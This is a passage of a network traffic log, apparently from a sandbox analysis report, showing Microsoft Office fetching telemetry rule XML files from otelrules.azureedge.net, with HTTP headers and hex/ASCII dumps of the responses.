Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:43 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:44 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b8dd1d48-d01e-005a-01dc-437fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165644Z-174f7845968jrjrxhC1EWRmmrs00000014y00000000037pg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:44 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:44 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:44 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:44 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a7f5da2f-b01e-0070-7a69-431cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165644Z-174f7845968zgtf6hC1EWRqd8s0000000xk000000000unbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:44 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:44 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:45 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:44 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2df421c-b01e-0021-5593-43cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165644Z-174f7845968cdxdrhC1EWRg0en00000014pg00000000dgwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:45 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:45 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:45 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5bb85073-401e-005b-22cf-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165645Z-174f7845968nxc96hC1EWRspw800000014f000000000cbx9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:46 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: c2b00c79-201e-0000-27b2-42a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165646Z-174f78459685726chC1EWRsnbg00000014w0000000000pgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:46 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:46 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 4793f8bc-701e-0053-5872-433a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165646Z-174f7845968pf68xhC1EWRr4h800000014w000000000rye8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:46 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:46 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165646Z-174f7845968xr5c2hC1EWRd0hn0000000pg000000000nc3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:46 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:47 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 00f8033d-001e-000b-2543-4415a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165647Z-174f7845968cpnpfhC1EWR3afc000000147g00000000srtq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:48 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:48 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 7e8f62d2-801e-0047-4379-407265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165648Z-174f78459685m244hC1EWRgp2c00000014fg00000000p0y3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:48 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:48 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 73839456-501e-000a-0a63-430180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165648Z-174f78459685m244hC1EWRgp2c00000014fg00000000p0yb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165648Z-174f7845968kvnqxhC1EWRmf3g0000000rhg000000009q0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:48 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:49 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 717d5930-e01e-001f-2a2b-441633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165649Z-174f7845968n2hr8hC1EWR9cag00000014cg0000000092n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:49 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 